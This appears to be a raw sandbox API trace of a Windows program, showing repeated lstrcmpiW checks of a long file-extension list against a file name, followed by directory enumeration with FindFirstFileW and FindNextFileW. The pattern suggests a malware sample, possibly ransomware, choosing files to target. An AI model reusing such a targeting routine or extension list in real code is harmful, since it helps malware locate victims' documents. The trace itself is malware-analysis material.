lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".cf") returned 3 [0061.782] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0061.782] lstrlenW (lpString=".cfc") returned 4 [0061.782] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0061.782] lstrlenW (lpString=".cfm") returned 4 [0061.782] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".cfml") returned 5 [0061.783] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0061.783] lstrlenW (lpString=".cfu") returned 4 [0061.783] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".chm") returned 4 [0061.783] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".cin") returned 4 [0061.783] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".class") returned 6 [0061.783] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0061.783] lstrlenW (lpString=".clx") returned 4 [0061.783] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".config") returned 7 [0061.783] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0061.783] lstrlenW (lpString=".cpp") returned 4 [0061.783] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".cr2") returned 4 [0061.783] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".crt") returned 4 [0061.783] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".crw") returned 4 [0061.783] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".cs") returned 3 [0061.783] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0061.783] lstrlenW (lpString=".css") returned 4 [0061.783] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".csv") returned 4 [0061.783] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".cub") returned 4 [0061.783] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".dae") returned 4 [0061.783] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".dat") returned 4 [0061.783] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0061.783] lstrlenW (lpString=".db") returned 3 [0061.783] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0061.783] lstrlenW (lpString=".dbf") returned 4 [0061.783] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dbx") returned 4 [0061.784] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dc3") returned 4 [0061.784] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dcm") returned 4 [0061.784] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dcr") returned 4 [0061.784] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".der") returned 4 [0061.784] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dib") returned 4 [0061.784] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dic") returned 4 [0061.784] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dif") returned 4 [0061.784] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".divx") returned 5 [0061.784] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0061.784] lstrlenW (lpString=".djvu") returned 5 [0061.784] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0061.784] lstrlenW (lpString=".dng") returned 4 [0061.784] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".doc") returned 4 [0061.784] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".docm") returned 5 [0061.784] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0061.784] lstrlenW (lpString=".docx") returned 5 [0061.784] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.784] lstrlenW (lpString=".dot") returned 4 [0061.784] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dotm") returned 5 [0061.784] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0061.784] lstrlenW (lpString=".dotx") returned 5 [0061.784] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0061.784] lstrlenW (lpString=".dpx") returned 4 [0061.784] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0061.784] lstrlenW (lpString=".dqy") returned 4 [0061.784] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".dsn") returned 4 [0061.785] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".dt") returned 3 [0061.785] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0061.785] lstrlenW (lpString=".dtd") returned 4 [0061.785] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".dwg") returned 4 [0061.785] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".dwt") returned 4 [0061.785] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".dx") returned 3 [0061.785] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0061.785] lstrlenW (lpString=".dxf") returned 4 [0061.785] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".edml") returned 5 [0061.785] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0061.785] lstrlenW (lpString=".efd") returned 4 [0061.785] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".elf") returned 4 [0061.785] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".emf") returned 4 [0061.785] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".emz") returned 4 [0061.785] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".epf") returned 4 [0061.785] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".eps") returned 4 [0061.785] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".epsf") returned 5 [0061.785] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0061.785] lstrlenW (lpString=".epsp") returned 5 [0061.785] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0061.785] lstrlenW (lpString=".erf") returned 4 [0061.785] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".exr") returned 4 [0061.785] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0061.785] lstrlenW (lpString=".f4v") returned 4 [0061.786] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".fido") returned 5 [0061.786] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0061.786] lstrlenW (lpString=".flm") returned 4 [0061.786] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".flv") returned 4 [0061.786] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".frm") returned 4 [0061.786] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".fxg") returned 4 [0061.786] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".geo") returned 4 [0061.786] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".gif") returned 4 [0061.786] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".grs") returned 4 [0061.786] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".gz") returned 3 [0061.786] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0061.786] lstrlenW (lpString=".h") returned 2 [0061.786] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0061.786] lstrlenW (lpString=".hdr") returned 4 [0061.786] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".hpp") returned 4 [0061.786] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".hta") returned 4 [0061.786] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".htc") returned 4 [0061.786] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".htm") returned 4 [0061.786] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".html") returned 5 [0061.786] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0061.786] lstrlenW (lpString=".icb") returned 4 [0061.786] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".ics") returned 4 [0061.786] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0061.786] lstrlenW (lpString=".iff") returned 4 [0061.787] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".inc") returned 4 [0061.787] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".indd") returned 5 [0061.787] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0061.787] lstrlenW (lpString=".ini") returned 4 [0061.787] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".iqy") returned 4 [0061.787] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".j2c") returned 4 [0061.787] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".j2k") returned 4 [0061.787] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".java") returned 5 [0061.787] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0061.787] lstrlenW (lpString=".jp2") returned 4 [0061.787] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".jpc") returned 4 [0061.787] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".jpe") returned 4 [0061.787] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".jpeg") returned 5 [0061.787] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0061.787] lstrlenW (lpString=".jpf") returned 4 [0061.787] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".jpg") returned 4 [0061.787] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".jpx") returned 4 [0061.787] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".js") returned 3 [0061.787] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0061.787] lstrlenW (lpString=".jsf") returned 4 [0061.787] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".json") returned 5 [0061.787] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0061.787] lstrlenW (lpString=".jsp") returned 4 [0061.787] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0061.787] lstrlenW (lpString=".kdc") returned 4 [0061.788] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".kmz") returned 4 [0061.788] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".kwm") returned 4 [0061.788] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".lasso") returned 6 [0061.788] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0061.788] lstrlenW (lpString=".lbi") returned 4 [0061.788] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".lgf") returned 4 [0061.788] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".lgp") returned 4 [0061.788] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".log") returned 4 [0061.788] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".m1v") returned 4 [0061.788] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".m4a") returned 4 [0061.788] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".m4v") returned 4 [0061.788] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".max") returned 4 [0061.788] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".md") returned 3 [0061.788] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0061.788] lstrlenW (lpString=".mda") returned 4 [0061.788] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".mdb") returned 4 [0061.788] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".mde") returned 4 [0061.788] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".mdf") returned 4 [0061.788] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".mdw") returned 4 [0061.788] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".mef") returned 4 [0061.788] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0061.788] lstrlenW (lpString=".mft") returned 4 [0061.789] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mfw") returned 4 [0061.789] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mht") returned 4 [0061.789] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mhtml") returned 6 [0061.789] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0061.789] lstrlenW (lpString=".mka") returned 4 [0061.789] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mkidx") returned 6 [0061.789] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0061.789] lstrlenW (lpString=".mkv") returned 4 [0061.789] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mos") returned 4 [0061.789] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mov") returned 4 [0061.789] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mp3") returned 4 [0061.789] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mp4") returned 4 [0061.789] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mpeg") returned 5 [0061.789] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0061.789] lstrlenW (lpString=".mpg") returned 4 [0061.789] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mpv") returned 4 [0061.789] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mrw") returned 4 [0061.789] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".msg") returned 4 [0061.789] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".mxl") returned 4 [0061.789] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".myd") returned 4 [0061.789] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0061.789] lstrlenW (lpString=".myi") returned 4 [0061.789] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".nef") returned 4 [0061.790] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".nrw") returned 4 [0061.790] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".obj") returned 4 [0061.790] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".odb") returned 4 [0061.790] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".odc") returned 4 [0061.790] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".odm") returned 4 [0061.790] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".odp") returned 4 [0061.790] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".ods") returned 4 [0061.790] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".oft") returned 4 [0061.790] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".one") returned 4 [0061.790] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".onepkg") returned 7 [0061.790] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0061.790] lstrlenW (lpString=".onetoc2") returned 8 [0061.790] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0061.790] lstrlenW (lpString=".opt") returned 4 [0061.790] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".oqy") returned 4 [0061.790] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".orf") returned 4 [0061.790] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".p12") returned 4 [0061.790] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".p7b") returned 4 [0061.790] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0061.790] lstrlenW (lpString=".p7c") returned 4 [0061.791] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pam") returned 4 [0061.791] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pbm") returned 4 [0061.791] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pct") returned 4 [0061.791] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pcx") returned 4 [0061.791] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pdd") returned 4 [0061.791] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pdf") returned 4 [0061.791] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pdp") returned 4 [0061.791] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pef") returned 4 [0061.791] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pem") returned 4 [0061.791] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pff") returned 4 [0061.791] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pfm") returned 4 [0061.791] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pfx") returned 4 [0061.791] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".pgm") returned 4 [0061.791] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".php") returned 4 [0061.791] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0061.791] lstrlenW (lpString=".php3") returned 5 [0061.791] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0061.791] lstrlenW (lpString=".php4") returned 5 [0061.791] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0061.791] lstrlenW (lpString=".php5") returned 5 [0061.791] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0061.791] lstrlenW (lpString=".phtml") returned 6 [0061.791] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0061.792] lstrlenW (lpString=".pict") returned 5 [0061.792] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0061.792] lstrlenW (lpString=".pl") returned 3 [0061.792] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0061.792] lstrlenW (lpString=".pls") returned 4 [0061.792] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0061.792] lstrlenW (lpString=".pm") returned 3 [0061.792] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0061.792] lstrlenW (lpString=".png") returned 4 [0061.792] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0061.792] lstrlenW (lpString=".pnm") returned 4 [0061.792] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0061.792] lstrlenW (lpString=".pot") returned 4 [0061.792] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0061.792] lstrlenW (lpString=".potm") returned 5 [0061.792] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0061.792] lstrlenW (lpString=".potx") returned 5 [0061.792] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0061.792] lstrlenW (lpString=".ppa") returned 4 [0061.792] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0061.792] lstrlenW (lpString=".ppam") returned 5 [0061.792] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0061.792] lstrlenW (lpString=".ppm") returned 4 [0061.792] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0061.792] lstrlenW (lpString=".pps") returned 4 [0061.792] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0061.792] lstrlenW (lpString=".ppsm") returned 5 [0061.792] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0061.792] lstrlenW (lpString=".ppt") returned 4 [0061.792] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.792] lstrlenW (lpString=".pptm") returned 5 [0061.792] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0061.792] lstrlenW (lpString=".pptx") returned 5 [0061.792] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0061.793] lstrlenW (lpString=".prn") returned 4 [0061.793] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".ps") returned 3 [0061.793] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0061.793] lstrlenW (lpString=".psb") returned 4 [0061.793] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".psd") returned 4 [0061.793] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".pst") returned 4 [0061.793] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".ptx") returned 4 [0061.793] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".pub") returned 4 [0061.793] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".pwm") returned 4 [0061.793] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".pxr") returned 4 [0061.793] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".py") returned 3 [0061.793] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0061.793] lstrlenW (lpString=".qt") returned 3 [0061.793] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0061.793] lstrlenW (lpString=".r3d") returned 4 [0061.793] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".raf") returned 4 [0061.793] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0061.793] lstrlenW (lpString=".rar") returned 4 [0061.793] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.794] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0061.794] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0061.794] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0061.819] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0061.819] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0061.819] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0061.819] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0061.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26 [0061.819] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, 